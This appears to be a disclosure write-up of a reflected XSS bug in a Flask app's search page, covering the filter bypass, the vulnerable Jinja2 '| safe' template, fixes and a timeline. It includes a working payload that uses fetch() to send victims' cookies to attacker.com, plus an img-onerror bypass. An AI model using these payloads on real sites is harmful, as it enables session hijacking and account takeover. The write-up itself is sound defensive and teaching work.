Background
Was testing a web application’s search function and found it was reflecting user input without proper sanitization. Pretty standard reflected XSS.
Severity: High (CVSS 7.4)
Finding It
The search endpoint looked like this:
GET /search?q=test HTTP/1.1
Host: vulnerable-app.com Response in HTML:
<div class="search-results">
<h2>Results for: test</h2>
</div> Input was getting echoed back directly into the page.
Exploitation
First tried the obvious payload:
<script>alert('XSS')</script> Blocked. They had some basic input validation catching script tags.
Tried an img tag instead:
<img src=x onerror="alert('XSS')"> That worked. The filter was only looking for script tags, not event handlers.
Working Payload
https://vulnerable-app.com/search?q=<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> This sends the victim’s cookies to an attacker-controlled server. From there you can hijack sessions, impersonate users, or just mess with their account.
The Vulnerable Code
Backend was Flask:
@app.route('/search')
def search():
query = request.args.get('q', '')
return render_template('search.html', query=query) Template:
<div class="search-results">
<h2>Results for: {{ query | safe }}</h2>
</div> The | safe filter tells Jinja2 not to escape the input. Bad idea when you’re dealing with user input.
Fixes
Remove the safe filter:
<h2>Results for: {{ query }}</h2> Jinja2 will auto-escape by default. You can also add a CSP header:
Content-Security-Policy: default-src 'self'; script-src 'self' Or explicitly escape the input:
import html
@app.route('/search')
def search():
query = request.args.get('q', '')
safe_query = html.escape(query)
return render_template('search.html', query=safe_query) Timeline
- Dec 10: Found the bug
- Dec 10: Reported to vendor
- Dec 12: Vendor confirmed
- Dec 14: Fixed in production
- Dec 15: Publishing this writeup
Notes
This is a pretty basic XSS bug. The filter was weak and only caught script tags. Always test multiple vectors when you hit input validation.
References: